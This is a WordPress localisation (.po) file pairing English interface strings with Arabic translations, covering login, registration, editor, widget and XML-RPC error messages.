#: wp-includes/class-wp-xmlrpc-server.php:5026
#: wp-includes/class-wp-xmlrpc-server.php:6509
msgid "Either there are no posts, or something went wrong."
msgstr "إما أنه لا توجد مقالات، أو حدث خطأ ما."

#: wp-includes/class-wp-xmlrpc-server.php:609
msgid "Allow new users to sign up"
msgstr "السماح للمستخدمين الجدد بالتسجيل"

#: wp-includes/class-wp-customize-nav-menus.php:949
#: wp-includes/class-wp-xmlrpc-server.php:1440
#: wp-includes/class-wp-xmlrpc-server.php:1996
#: wp-includes/class-wp-xmlrpc-server.php:3666
#: wp-includes/class-wp-xmlrpc-server.php:4561
#: wp-includes/class-wp-xmlrpc-server.php:5379
#: wp-includes/class-wp-xmlrpc-server.php:5449
#: wp-includes/class-wp-xmlrpc-server.php:5743
#: wp-includes/class-wp-xmlrpc-server.php:5816 wp-includes/post.php:1749
#: wp-includes/rest-api/endpoints/class-wp-rest-menu-items-controller.php:442
#: wp-includes/rest-api/endpoints/class-wp-rest-post-types-controller.php:141
#: wp-admin/async-upload.php:46 wp-admin/edit.php:18 wp-admin/edit.php:41
#: wp-admin/post-new.php:24 wp-admin/post.php:131 wp-admin/post.php:246
#: wp-admin/post.php:283 wp-admin/post.php:312 wp-admin/site-editor.php:73
msgid "Invalid post type."
msgstr "نوع المحتوى غير صالح."

#: wp-includes/class-wp-xmlrpc-server.php:3986
msgid "A valid email address is required."
msgstr "مطلوب عنوان بريد إلكتروني صالح."

#: wp-includes/class-wp-xmlrpc-server.php:3984
msgid "Comment author name and email are required."
msgstr "مطلوب اسم وعنوان البريد الإلكتروني لكاتب التعليق."

#. translators: 1: File name, 2: Error message.
#: wp-includes/class-wp-xmlrpc-server.php:6422
msgid "Could not write file %1$s (%2$s)."
msgstr "تعذرت كتابة الملف %1$s (%2$s)."

#: wp-includes/class-wp-xmlrpc-server.php:5202
#: wp-includes/class-wp-xmlrpc-server.php:5924
#: wp-includes/class-wp-xmlrpc-server.php:6803
msgid "Sorry, you are not allowed to publish this post."
msgstr "عفوًا، غير مسموح لك بنشر هذه المقالة."

#: wp-includes/load.php:169
msgid "Your PHP installation appears to be missing the MySQL extension which is required by WordPress."
msgstr "ملفات PHP المنصبة لديك توضح بأنّ إضافة MySQL مفقودة، علمًا بأنّها إلزامية لووردبريس."

#: wp-includes/class-wp-xmlrpc-server.php:4093
msgid "Sorry, you are not allowed to access details of this post."
msgstr "عذراً، غير مسموح لك بالوصول إلى تفاصيل هذه المقالة."

#: wp-includes/class-wp-xmlrpc-server.php:5193
#: wp-includes/class-wp-xmlrpc-server.php:5267
#: wp-includes/class-wp-xmlrpc-server.php:6163
#: wp-includes/class-wp-xmlrpc-server.php:6743
msgid "Sorry, no such post."
msgstr "عفواً، المقالة غير موجودة."

#: wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php:812
msgid "Sorry, you are not allowed to update posts as this user."
msgstr "عذرًا، غير مسموح لك بتحديث المقالات بهذا المستخدم."

#: wp-includes/class-wp-xmlrpc-server.php:1473
#: wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php:1454
msgid "Sorry, you are not allowed to publish posts in this post type."
msgstr "عذرًا، غير مسموح لك بنشر مقالات في هذا النوع من المقالات."

#: wp-includes/class-wp-xmlrpc-server.php:5812
msgid "Sorry, you are not allowed to change the page author as this user."
msgstr "عذرًا، غير مسموح لك بتغيير كاتب الصفحة بهذا المستخدم."

#: wp-includes/class-wp-xmlrpc-server.php:5807
msgid "Sorry, you are not allowed to change the post author as this user."
msgstr "عذرًا، غير مسموح لك بتغيير كاتب المقالة بهذا المستخدم."

#: wp-includes/class-wp-xmlrpc-server.php:4306
msgid "Sorry, you are not allowed to update options."
msgstr "عذرًا، غير مسموح لك بتحديث الخيارات."

#: wp-includes/class-wp-xmlrpc-server.php:6904
#: wp-includes/class-wp-xmlrpc-server.php:6911
#: wp-includes/class-wp-xmlrpc-server.php:6920
#: wp-includes/class-wp-xmlrpc-server.php:7088
msgid "The specified target URL cannot be used as a target. It either does not exist, or it is not a pingback-enabled resource."
msgstr "عنوان (URL) المحدد كهدف لا يمكن استخدامه. إما أنه غير موجود، أو أنه مصدر غير مفعل للتنبيهات."

#: wp-includes/class-wp-editor.php:1408 wp-includes/script-loader.php:1247
msgid "Action"
msgstr "الإجراء"

#: wp-includes/general-template.php:4505
msgid "Next &raquo;"
msgstr "التالي &raquo;"

#: wp-includes/block-template-utils.php:68 wp-includes/class-wp-editor.php:1215
#: wp-includes/js/dist/edit-post.js:5129 wp-includes/js/dist/edit-site.js:16093
msgid "General"
msgstr "عام"

#: wp-includes/cron.php:1056
msgid "Once Hourly"
msgstr "كل ساعة"

#: wp-includes/cron.php:1064
msgid "Once Daily"
msgstr "مرة واحدة يومياُ"

#: wp-includes/deprecated.php:984
msgid "Last updated"
msgstr "آخر تحديث"

#. translators: Comments feed title. %s: Post title.
#: wp-includes/feed-rss2-comments.php:39
msgid "Comments on: %s"
msgstr "التعليقات على: %s"

#. translators: Comments feed title. %s: Site title.
#: wp-includes/feed-atom-comments.php:40 wp-includes/feed-rss2-comments.php:45
msgid "Comments for %s"
msgstr "تعليقات لموقع %s"

#. translators: Individual comment title. 1: Post title, 2: Comment author
#. name.
#: wp-includes/feed-atom-comments.php:83 wp-includes/feed-rss2-comments.php:86
msgid "Comment on %1$s by %2$s"
msgstr "تعليق على %1$s بواسطة %2$s"

#. translators: Comment author title. %s: Comment author name.
#: wp-includes/feed-atom-comments.php:86 wp-includes/feed-rss2-comments.php:89
msgid "By: %s"
msgstr "بواسطة: %s"

#: wp-includes/feed-rss2-comments.php:100
msgid "Protected Comments: Please enter your password to view comments."
msgstr "التعليقات محمية: رجاءاً أكتب كلمة المرور لمشاهدة التعليقات."

#. translators: %s: Option name.
#: wp-includes/option.php:271
msgid "%s is a protected WP option and may not be modified"
msgstr "إن %s إعداد ووردبريس محمي و قد لا يمكن تعديله."

#. translators: %s: Directory path.
#: wp-includes/class-wp-image-editor-imagick.php:846
#: wp-includes/functions.php:2380 wp-includes/functions.php:2915
msgid "Unable to create directory %s. Is its parent directory writable by the server?"
msgstr "غير قادر على إنشاء مجلد  %s. هل المجلد الذي تريد إنشاء هذا المجلد فيه قابل للكتابة؟"

#: wp-includes/functions.php:2866
msgid "Empty filename"
msgstr "اسم الملف فارغ"

#. translators: %s: File name.
#: wp-includes/functions.php:2925
msgid "Could not write file %s"
msgstr "لا يمكن الكتابة على الملف %s"

#: wp-includes/general-template.php:691 wp-login.php:868 wp-login.php:1014
#: wp-login.php:1110 wp-login.php:1484
msgid "Register"
msgstr "تسجيل"

#: wp-includes/general-template.php:696
msgid "Site Admin"
msgstr "إدارة الموقع"

#. translators: 1: Month name, 2: 4-digit year.
#. translators: 1: Month, 2: Year.
#: wp-includes/general-template.php:2070 wp-includes/media.php:4509
#: wp-admin/includes/class-wp-list-table.php:748
msgid "%1$s %2$d"
msgstr "%1$s %2$d"

#: wp-includes/widgets/class-wp-widget-calendar.php:38
#: wp-includes/js/dist/block-library.js:5754
#: wp-includes/js/dist/components.js:53351
msgid "Calendar"
msgstr "تقويم"

#: wp-includes/general-template.php:4504
msgid "&laquo; Previous"
msgstr "&laquo; الصفحة السابقة"

#: wp-includes/class-wp-editor.php:1407
msgid "Letter"
msgstr "حرف"

#: wp-includes/class-wp-editor.php:1288
msgid "Check Spelling"
msgstr "تدقيق إملائي"

#: wp-includes/class-wp-editor.php:1153
#: wp-includes/js/dist/block-editor.js:37845
#: wp-includes/js/dist/format-library.js:1189
msgid "Strikethrough"
msgstr "يتوسطه خط"

#. translators: Three-letter abbreviation of the weekday.
#: wp-includes/class-wp-locale.php:166
msgid "Sun"
msgstr "الأحد"

#. translators: Three-letter abbreviation of the weekday.
#: wp-includes/class-wp-locale.php:167
msgid "Mon"
msgstr "الأثنين"

#. translators: Three-letter abbreviation of the weekday.
#: wp-includes/class-wp-locale.php:168
msgid "Tue"
msgstr "الثلاثاء"

#. translators: Three-letter abbreviation of the weekday.
#: wp-includes/class-wp-locale.php:169
msgid "Wed"
msgstr "الأربعاء"

#. translators: Three-letter abbreviation of the weekday.
#: wp-includes/class-wp-locale.php:170
msgid "Thu"
msgstr "الخميس"

#. translators: Three-letter abbreviation of the weekday.
#: wp-includes/class-wp-locale.php:171
msgid "Fri"
msgstr "الجمعة"

#. translators: Three-letter abbreviation of the weekday.
#: wp-includes/class-wp-locale.php:172
msgid "Sat"
msgstr "السبت"

#: wp-includes/class-wp-locale.php:217
msgid "am"
msgstr "ص"

#: wp-includes/class-wp-locale.php:218
msgid "pm"
msgstr "م"

#. translators: Comment notification email subject. 1: Site title, 2: Post
#. title.
#: wp-includes/pluggable.php:1770
msgid "[%1$s] Comment: \"%2$s\""
msgstr "[ %1$s ] تعليق: \"%2$s\""

#. translators: Trackback notification email subject. 1: Site title, 2: Post
#. title.
#: wp-includes/pluggable.php:1734
msgid "[%1$s] Trackback: \"%2$s\""
msgstr "[%1$s] تعقيب: \"%2$s\""

#. translators: Pingback notification email subject. 1: Site title, 2: Post
#. title.
#: wp-includes/pluggable.php:1748
msgid "[%1$s] Pingback: \"%2$s\""
msgstr "[%1$s] تنبيه: \"%2$s\""

#. translators: Comment moderation. %s: Comment action URL.
#: wp-includes/pluggable.php:1784 wp-includes/pluggable.php:1963
msgid "Delete it: %s"
msgstr "حذفه: %s"

#. translators: Comment moderation. %s: Comment action URL.
#: wp-includes/pluggable.php:1787 wp-includes/pluggable.php:1967
msgid "Spam it: %s"
msgstr "الإشارة إليه بأنه إعلان مزعج (SPAM): %s"

#. translators: Comment moderation. %s: Comment action URL.
#: wp-includes/pluggable.php:1956
msgid "Approve it: %s"
msgstr "الموافقة عليه: %s"

#. translators: Comment moderation notification email subject. 1: Site title,
#. 2: Post title.
#: wp-includes/pluggable.php:1981
msgid "[%1$s] Please moderate: \"%2$s\""
msgstr "[ %1$s ] تعليقات بإنتظار الموافقة: \"%2$s\""

#. translators: %s: User login.
#: wp-includes/pluggable.php:2138 wp-includes/pluggable.php:2203
#: wp-includes/user.php:3169
msgid "Username: %s"
msgstr "اسم المستخدم: %s"

#. translators: New user registration notification email subject. %s: Site
#. title.
#: wp-includes/pluggable.php:2145
msgid "[%s] New User Registration"
msgstr "[ %s ] تسجيل عضو جديد"

#. translators: %s: Protected post title.
#: wp-includes/post-template.php:127
msgid "Protected: %s"
msgstr "محمي: %s"

#. translators: %s: Private post title.
#: wp-includes/post-template.php:146
msgid "Private: %s"
msgstr "خاص: %s"

#. translators: Hidden accessibility text.
#: wp-includes/post-template.php:959
#: wp-admin/includes/class-wp-list-table.php:1061
#: wp-admin/includes/nav-menu.php:463 wp-admin/includes/nav-menu.php:765
msgid "Next page"
msgstr "الصفحة التالية"

#. translators: Hidden accessibility text.
#: wp-includes/post-template.php:960
#: wp-admin/includes/class-wp-list-table.php:1024
#: wp-admin/includes/nav-menu.php:462 wp-admin/includes/nav-menu.php:764
msgid "Previous page"
msgstr "الصفحة السابقة"

#: wp-includes/deprecated.php:1872 wp-includes/post-template.php:1644
msgid "Missing Attachment"
msgstr "الملحق مفقود"

#: wp-includes/blocks/rss.php:27 wp-includes/widgets.php:1603
msgid "An error has occurred, which probably means the feed is down. Try again later."
msgstr "لقد حصل خطأ، من المحتمل وجود خطأ في ملف الخلاصة، حاول مجدداً لاحقاً."

#: wp-includes/script-loader.php:725
msgid "Close all open tags"
msgstr "إغلاق جميع الوسوم المفتوحة"

#: wp-includes/script-loader.php:726
msgid "close tags"
msgstr "إغلاق الوسوم"

#: wp-includes/script-loader.php:727
msgid "Enter the URL"
msgstr "أدخل الرابط"

#: wp-includes/script-loader.php:728
msgid "Enter the URL of the image"
msgstr "أدخل رابط الصورة"

#: wp-includes/script-loader.php:729
msgid "Enter a description of the image"
msgstr "أدخل وصف للصورة"

#: wp-includes/functions.php:3768
msgid "&laquo; Back"
msgstr "&laquo; الرجوع"

#: wp-includes/widgets/class-wp-widget-links.php:156
#: wp-includes/widgets/class-wp-widget-pages.php:169
msgid "Sort by:"
msgstr "ترتيب حسب:"

#: wp-includes/widgets/class-wp-widget-pages.php:171
msgid "Page title"
msgstr "عنوان الصفحة"

#: wp-includes/widgets/class-wp-widget-pages.php:172
msgid "Page order"
msgstr "ترتيب الصفحة"

#: wp-includes/widgets/class-wp-widget-pages.php:173
msgid "Page ID"
msgstr "رقم صفحة (ID)"

#: wp-includes/widgets/class-wp-widget-pages.php:181
msgid "Page IDs, separated by commas."
msgstr "أرقام ID للصفحات، مفصولة بفاصلة."

#: wp-includes/blocks/archives.php:51
#: wp-includes/widgets/class-wp-widget-archives.php:91
msgid "Select Month"
msgstr "اختر شهر"

#: wp-includes/widgets.php:1619 wp-includes/js/dist/edit-post.js:6395
#: wp-includes/js/dist/editor.js:5978
msgid "Untitled"
msgstr "بدون عنوان"

#: wp-includes/widgets.php:1713
msgid "Give the feed a title (optional):"
msgstr "اسم الخلاصة (اختياري):"

#: wp-includes/widgets/class-wp-widget-tag-cloud.php:30
msgid "Tag Cloud"
msgstr "معرض الوسوم"

#. translators: Password reset notification email subject. %s: Site title.
#: wp-includes/user.php:3186
msgid "[%s] Password Reset"
msgstr "[%s] تغيير كلمة المرور"

#: wp-login.php:832
msgid "Lost Password"
msgstr "استعادة كلمة المرور"

#: wp-login.php:1082
msgid "Registration Form"
msgstr "نموذج التسجيل"

#: wp-login.php:1082
msgid "Register For This Site"
msgstr "التسجيل في هذا الموقع"

#: wp-signup.php:981
msgid "User registration has been disabled."
msgstr "تم تعطيل التسجيل في الموقع."

#: wp-signup.php:966
msgid "Registration has been disabled."
msgstr "تم إيقاف التسجيل."

#: wp-signup.php:870
msgid "Still waiting for your email?"
msgstr "لا زلت تنتظر وصول الرسالة للبريد الإلكتروني؟"

#: wp-signup.php:711
msgid "If you do not activate your username within two days, you will have to sign up again."
msgstr "إذا لم تقم بتفعيل اسم المستخدم الخاص بك خلال يومين، سيتوجب عليك التسجيل من جديد."

#: wp-signup.php:704
msgid "But, before you can start using your new username, <strong>you must activate it</strong>."
msgstr "لكن قبل اعتماد اسم المستخدم الجديد، <strong>يجب أن تقوم بتفعيله</strong>."

#. translators: %s: Username.
#: wp-signup.php:701
msgid "%s is your new username"
msgstr "%s هو اسم مستخدمك الجديد"

#: wp-includes/class-wp-customize-nav-menus.php:1113
#: wp-includes/script-loader.php:1897 wp-signup.php:653
#: wp-includes/js/dist/block-library.js:39608
#: wp-includes/js/dist/components.js:58528
msgid "Next"
msgstr "التالي"

#: wp-signup.php:647
msgid "Just a username, please."
msgstr "فقط اسم مستخدم. (بدون موقع)"

#. translators: %s: Name of the network.
#: wp-signup.php:622
msgid "Get your own %s account in seconds"
msgstr "أحصل خلال ثواني على حساب جديد لدى [%s]."

#: wp-signup.php:368
msgid "There was a problem, please correct the form below and try again."
msgstr "حصل خطأ ما، فضلاً قم بتصحيح البيانات بالأسفل وحاول مجدداً."

#: wp-signup.php:284
msgid "Email&nbsp;Address:"
msgstr "عنوان البريد الإلكتروني:"

#: wp-signup.php:212
msgid "Privacy:"
msgstr "الخصوصية:"

#. translators: New user notification email subject. 1: Network title, 2: New
#. user login.
#: wp-includes/ms-functions.php:1884
msgid "New %1$s User: %2$s"
msgstr "جديد %1$s عضو: %2$s"

#. translators: New user notification email subject. %s: User login.
#: wp-includes/ms-functions.php:1526
msgid "New User Registration: %s"
msgstr "تسجيل عضو جديد: %s"

#: wp-includes/ms-functions.php:1203
msgid "That username is already activated."
msgstr "لقد تم تفعيل اسم المستخدم مسبقاً."

#: wp-includes/ms-functions.php:1164
msgid "Invalid activation key."
msgstr "مفتاح التفعيل غير صحيح."

#: wp-includes/ms-functions.php:556
msgid "That email address has already been used. Please check your inbox for an activation email. It will become available in a couple of days if you do nothing."
msgstr "عنوان البريد الإلكتروني هذا مسجّل لدينا مسبقاً. يرجى فحص صندوق الوارد في بريدك الإلكتروني ربما تجد هناك رسالة التفعيل. عموماً، سيكون عنوان البريد الإلكتروني هذا متاحاً للتسجيل مجدّداً خلال يومين وذلك في حال لم تقم بعمل شيء."

#: wp-includes/ms-functions.php:545
msgid "That username is currently reserved but may be available in a couple of days."
msgstr "اسم المستخدم محجوز حالياً لكن من الممكن أن يكون متوفراً خلال يومين."

#: wp-includes/user.php:2202
msgid "Sorry, that email address is already used!"
msgstr "المعذرة، عنوان البريد الإلكتروني هذا مستخدم مسبقاً!"

#: wp-includes/ms-functions.php:520 wp-includes/user.php:2127
msgid "Sorry, that username already exists!"
msgstr "المعذرة، اسم المستخدم هذا موجود مسبقاً."

#: wp-includes/ms-functions.php:514
msgid "Sorry, that email address is not allowed!"
msgstr "المعذرة، عنوان البريد الإلكتروني هذا غير مسموح!"

#: wp-includes/ms-functions.php:506
msgid "Sorry, usernames must have letters too!"
msgstr "المعذرة، اسم المستخدم يجب أن يحتوي على حروف أيضاً!"

#: wp-includes/ms-functions.php:493
msgid "You cannot use that email address to signup. There are problems with them blocking some emails from WordPress. Please use another email provider."
msgstr "لا يمكنك استخدام عنوان هذا البريد الإلكتروني للتسجيل لأننا نواجه مشكلة مع هذه العناوين من ناحية استلام الرسائل. يرجى استخدام عنوان بريد إلكتروني مختلف من مزوّد آخر."

#: wp-includes/class-wp-editor.php:1380
msgid "Insert Page Break tag"
msgstr "أضف وسم فاصل الصفحة"

#: wp-includes/link-template.php:836
msgid "Comments Feed"
msgstr "خلاصة التعليقات"

#: wp-includes/link-template.php:3112
msgid "Newer Comments &raquo;"
msgstr "التعليقات الأحدث &raquo;"

#: wp-includes/link-template.php:3166
msgid "&laquo; Older Comments"
msgstr "&laquo; التعليقات الأقدم"

#. translators: Comment moderation. %s: Comment action URL.
#: wp-includes/pluggable.php:1781 wp-includes/pluggable.php:1960
msgid "Trash it: %s"
msgstr "نقل إلى سلة المهملات: %s"

#: wp-includes/pluggable.php:1920
msgid "Trackback excerpt: "
msgstr "مقتطف التعقيبات:"

#: wp-includes/post.php:112
msgid "Revision"
msgstr "مراجعة"

#: wp-includes/post.php:4139
msgid "Content, title, and excerpt are empty."
msgstr "حقول المحتوى، العنوان والمقتطف فارغة"

#: wp-includes/revision.php:346
msgid "Cannot create a revision of a revision"
msgstr "لا يمكن عمل مراجعة لمراجعة"

#: wp-includes/user.php:2121
msgid "Cannot create a user with an empty login name."
msgstr "لا يمكن إنشاء عضو بدون أن يكون لديه اسم مستخدم."

#: wp-includes/user.php:2796
msgid "AIM"
msgstr "ماسنجر AIM"

#: wp-includes/user.php:2797
msgid "Yahoo IM"
msgstr "ياهو ماسنجر"

#: wp-includes/user.php:2798
msgid "Jabber / Google Talk"
msgstr "Jabber / Google Talk"

#: wp-includes/script-loader.php:927
msgid "of"
msgstr "من"

#: wp-includes/script-loader.php:929
msgid "This feature requires inline frames. You have iframes disabled or your browser does not support them."
msgstr "هذه الميزة تتطلب خاصية الإطارات المضمنة (inline frames). إما أن الخاصية معطلة أو أن المتصفح لا يدعم هذه الخاصية."

#: wp-includes/script-loader.php:941
msgid "You have attempted to queue too many files."
msgstr "لقد حاولت رفع الكثير من الملفات"

#: wp-includes/script-loader.php:944
msgid "This file is empty. Please try another."
msgstr "الملف فارغ، الرجاء تجربة ملف آخر"

#: wp-includes/script-loader.php:950
msgid "There was a configuration error. Please contact the server administrator."
msgstr "هناك مشكلة في الإعدادات، أرجو أن تتصل بمدير الخادم"

#: wp-includes/script-loader.php:951
msgid "You may only upload 1 file."
msgstr "يسمح لك برفع ملف واحد فقط"

#: wp-includes/script-loader.php:954 wp-admin/includes/ajax-actions.php:2518
msgid "Upload failed."
msgstr "الرفع فشل"

#: wp-includes/script-loader.php:959
msgid "IO error."
msgstr "خطأ IO"

#: wp-includes/script-loader.php:960
msgid "Security error."
msgstr "خطأ بالحماية"

#: wp-includes/script-loader.php:962
msgid "Upload stopped."
msgstr "تم وقف الرفع"

#: wp-includes/script-loader.php:964
msgid "Crunching&hellip;"
msgstr "لحظات من فضلك&hellip;"

#: wp-includes/script-loader.php:1162
msgctxt "password strength"
msgid "Medium"
msgstr "متوسط"

#. translators: %s: Theme directory name.
#: wp-includes/class-wp-theme.php:413
msgid "The parent theme is missing. Please install the \"%s\" parent theme."
msgstr "القالب الرئيسي (الأب) غير موجود. من فضلك قم بتنصيب قالب \"%s\" الرئيسي."

#: wp-includes/functions.php:7182 wp-includes/user.php:306
msgid "Please log in again."
msgstr "الرجاء تسجيل الدخول مرة أخرى"

#: wp-includes/user.php:2902
msgid "Password reset is not allowed for this user"
msgstr "لا يسمح لك بإعادة كلمة المرور الى الحالة الأولى (reset)"

#: wp-login.php:859
msgid "Get New Password"
msgstr "احصل على كلمة مرور جديدة"

#: wp-login.php:1281
msgid "You have logged in successfully."
msgstr "تم تسجيل الدخول بنجاح."

#: wp-login.php:1362
msgid "You are now logged out."
msgstr "تم تسجيل الخروج."

#: wp-mail.php:42
msgid "Slow down cowboy, no need to check for new mails so often!"
msgstr "رجاءً التريّث وعدم الفحص هل وصلت رسائل جديدة بهذه الوتيرة العالية."

#. translators: %s: POP3 error.
#: wp-mail.php:254
msgid "Oops: %s"
msgstr "أوووووبس: %s"

#: wp-includes/class-wp-http-curl.php:244
#: wp-includes/class-wp-http-curl.php:293 wp-includes/class-wp-http.php:1048
msgid "Too many redirects."
msgstr "العديد من التحويلات"

#: wp-includes/comment-template.php:2590
msgid "Cancel reply"
msgstr "إلغاء الرد"

#: wp-includes/cron.php:547
msgid "This argument has changed to an array to match the behavior of the other cron functions."
msgstr "هذه المعلومة (argument) تغيرت إلى مصفوفة (array) لتتناسب مع سلوك وظائف المهام المجدولة (cron) الأخرى."

#: wp-includes/cron.php:1060
msgid "Twice Daily"
msgstr "مرتين يومياً"

#: wp-includes/widgets/class-wp-widget-links.php:26
msgid "Your blogroll"
msgstr "روابطك"

#: wp-includes/widgets/class-wp-widget-links.php:167
msgid "Show Link Image"
msgstr "إظهار صورة الرابط"

#: wp-includes/widgets/class-wp-widget-links.php:171
msgid "Show Link Name"
msgstr "إظهار اسم الرابط"

#: wp-includes/widgets/class-wp-widget-links.php:175
msgid "Show Link Description"
msgstr "إظهار وصف للرابط"

#: wp-includes/widgets/class-wp-widget-links.php:179
msgid "Show Link Rating"
msgstr "إظهار تقييم الرابط"

#: wp-includes/widgets/class-wp-widget-text.php:43
#: wp-includes/js/dist/block-editor.js:36163
#: wp-includes/js/dist/block-library.js:32336
#: wp-includes/js/dist/blocks.js:8291 wp-includes/js/dist/edit-site.js:10610
#: wp-includes/js/dist/edit-site.js:10709
#: wp-includes/js/dist/edit-site.js:10980
#: wp-includes/js/dist/edit-site.js:11440
#: wp-includes/js/dist/format-library.js:1493
msgid "Text"
msgstr "نص"

#: wp-includes/widgets/class-wp-widget-text.php:507
msgid "Automatically add paragraphs"
msgstr "إضافة الفقرات آلياً."

#. translators: Comments widget. 1: Comment author, 2: Post link.
#: wp-includes/widgets/class-wp-widget-recent-comments.php:150
msgctxt "widgets"
msgid "%1$s on %2$s"
msgstr "%1$s على %2$s"

#: wp-includes/widgets.php:1728
msgid "Display item content?"
msgstr "عرض محتوى العنصر؟"

#: wp-includes/widgets.php:1734
msgid "Display item date?"
msgstr "عرض تاريخ العنصر؟"

#: wp-includes/deprecated.php:64
msgid "new WordPress Loop"
msgstr "حلقة ووردبريس الجديدة"

#. translators: Used between list items, there is a space after the comma.
#: wp-includes/class-wp-locale.php:239 wp-includes/l10n.php:1813
msgid ", "
msgstr "، "

#: wp-includes/functions.php:6420
msgid "Select a city"
msgstr "اختر مدينة"

#: wp-includes/general-template.php:384 wp-login.php:864 wp-login.php:949
#: wp-login.php:1010 wp-login.php:1115
msgid "Log in"
msgstr "تسجيل الدخول"

#: wp-includes/general-template.php:386
#: wp-includes/js/dist/block-library.js:27854
msgid "Log out"
msgstr "تسجيل الخروج"

#: wp-includes/general-template.php:525 wp-login.php:1450
msgid "Remember Me"
msgstr "تذكرني"

#. translators: 1: Separator, 2: Search query.
#: wp-includes/general-template.php:1406
msgid "Search Results %1$s %2$s"
msgstr "نتائج البحث %1$s %2$s"

#: wp-includes/general-template.php:1187 wp-includes/general-template.php:1411
msgid "Page not found"
msgstr "الصفحة غير موجودة."

#. translators: Calendar caption: 1: Month name, 2: 4-digit year.
#: wp-includes/general-template.php:2314
msgctxt "calendar caption"
msgid "%1$s %2$s"
msgstr "%1$s %2$s"

#. translators: 1: Blog title, 2: Separator (raquo).
#: wp-includes/general-template.php:3100
msgid "%1$s %2$s Feed"
msgstr "%1$s %2$s الخلاصة"

#. translators: 1: Blog title, 2: Separator (raquo).
#: wp-includes/general-template.php:3102
msgid "%1$s %2$s Comments Feed"
msgstr "%1$s %2$s خلاصة التعليقات"

#. translators: 1: Blog name, 2: Separator (raquo), 3: Post title.
#: wp-includes/general-template.php:3152
msgid "%1$s %2$s %3$s Comments Feed"
msgstr "%1$s %2$s %3$s خلاصة التعليقات"

#. translators: 1: Blog name, 2: Separator (raquo), 3: Search query.
#: wp-includes/general-template.php:3162
msgid "%1$s %2$s Search Results for &#8220;%3$s&#8221; Feed"
msgstr "%1$s %2$s خلاصة نتائج البحث عن &#8220;%3$s&#8221;"

#: wp-includes/class-wp-editor.php:1247
msgid "Print"
msgstr "طباعة"

#: wp-includes/class-wp-editor.php:1214
msgid "Insert/edit image"
msgstr "أدرج/ حرر صورة"

#: wp-includes/class-wp-editor.php:1253 wp-includes/class-wp-editor.php:1873
#: wp-includes/script-loader.php:1198
msgid "Insert/edit link"
msgstr "أدرج/ حرر رابط"

#: wp-includes/class-wp-editor.php:1318
#: wp-includes/js/dist/block-library.js:52523
msgid "Delete row"
msgstr "احذف صف"

#: wp-includes/class-wp-editor.php:1314
#: wp-includes/js/dist/block-library.js:52528
msgid "Insert column before"
msgstr "أدرج عمود قبل"

#: wp-includes/class-wp-editor.php:1322
msgid "Merge table cells"
msgstr "ادمج خلايا الجدول"

#: wp-includes/class-wp-editor.php:1298
msgid "Table row properties"
msgstr "خصائص صف الجدول"

#: wp-includes/class-wp-editor.php:1299
msgid "Table cell properties"
msgstr "خصائص خلية الجدول"

#: wp-includes/class-wp-editor.php:1297
msgid "Table properties"
msgstr "خصائص الجدول"

#: wp-includes/class-wp-editor.php:1316
msgid "Paste table row before"
msgstr "الصق صف الجدول قبل"

#: wp-includes/class-wp-editor.php:1317
msgid "Paste table row after"
msgstr "الصق صف الجدول بعد"

#: wp-includes/class-wp-editor.php:1320
msgid "Cut table row"
msgstr "اقطع صف الجدول"

#: wp-includes/class-wp-editor.php:1321
msgid "Copy table row"
msgstr "انسخ صف الجدول"

#: wp-includes/class-wp-editor.php:1296
msgid "Delete table"
msgstr "احذف الجدول"

#: wp-includes/class-wp-editor.php:1302
msgid "Row"
msgstr "صف"

#: wp-includes/class-wp-editor.php:1144
#: wp-includes/js/dist/block-library.js:48469
msgid "Paragraph"
msgstr "فقرة"

#: wp-includes/class-wp-editor.php:1135
msgid "Heading 1"
msgstr "ترويسة 1"

#: wp-includes/class-wp-editor.php:1136
msgid "Heading 2"
msgstr "ترويسة 2"

#: wp-includes/class-wp-editor.php:1137
msgid "Heading 3"
msgstr "ترويسة 3"

#: wp-includes/class-wp-editor.php:1138
msgid "Heading 4"
msgstr "ترويسة 4"

#: wp-includes/class-wp-editor.php:1139
msgid "Heading 5"
msgstr "ترويسة 5"

#: wp-includes/class-wp-editor.php:1140
msgid "Heading 6"
msgstr "ترويسة 6"

#: wp-includes/class-wp-editor.php:1145 wp-includes/script-loader.php:738
msgid "Blockquote"
msgstr "صندوق اقتباس"

#: wp-includes/class-wp-editor.php:1157 wp-includes/script-loader.php:733
#: wp-includes/js/dist/format-library.js:60
msgid "Bold"
msgstr "عريض"

#: wp-includes/class-wp-editor.php:1158 wp-includes/script-loader.php:735
#: wp-includes/js/dist/format-library.js:403
msgid "Italic"
msgstr "مائل"

#: wp-includes/class-wp-editor.php:1152
#: wp-includes/js/dist/block-editor.js:37841
#: wp-includes/js/dist/format-library.js:1239
msgid "Underline"
msgstr "تحته خط"

#: wp-includes/class-wp-editor.php:1154
#: wp-includes/js/dist/format-library.js:1662
msgid "Subscript"
msgstr "أحرف سفلية"

#: wp-includes/class-wp-editor.php:1155
#: wp-includes/js/dist/format-library.js:1728
msgid "Superscript"
msgstr "أحرف علوية"

#: wp-includes/class-wp-editor.php:1171
msgid "Cut"
msgstr "قطع"

#: wp-includes/class-wp-customize-manager.php:4376
#: wp-includes/class-wp-editor.php:1172 wp-includes/js/dist/components.js:35871
#: wp-includes/js/dist/editor.js:11049
msgid "Copy"
msgstr "نسخ"

#: wp-includes/class-wp-editor.php:1173
msgid "Paste"
msgstr "لصق"

#: wp-includes/class-wp-editor.php:1131
msgid "New document"
msgstr "مستند جديد"

#: wp-includes/class-wp-editor.php:1221
msgid "Image description"
msgstr "وصف الصورة"

#: wp-includes/class-wp-editor.php:1223
#: wp-includes/js/dist/block-editor.js:51873
#: wp-includes/js/dist/block-editor.js:52257
#: wp-includes/js/dist/block-editor.js:52374
#: wp-includes/js/dist/edit-site.js:9027
msgid "Dimensions"
msgstr "أبعاد"

#: wp-includes/class-wp-editor.php:1335
#: wp-includes/customize/class-wp-customize-background-position-control.php:47
#: wp-includes/js/dist/block-editor.js:11323
#: wp-includes/js/dist/components.js:39336
#: wp-includes/js/dist/components.js:55655
#: wp-admin/includes/class-custom-background.php:376
msgid "Top"
msgstr "أعلى"

#: wp-includes/class-wp-editor.php:1336
msgid "Middle"
msgstr "منتصف"

#: wp-includes/class-wp-editor.php:1337
#: wp-includes/customize/class-wp-customize-background-position-control.php:75
#: wp-includes/js/dist/block-editor.js:11324
#: wp-includes/js/dist/components.js:39337
#: wp-admin/includes/class-custom-background.php:404
msgid "Bottom"
msgstr "أسفل"

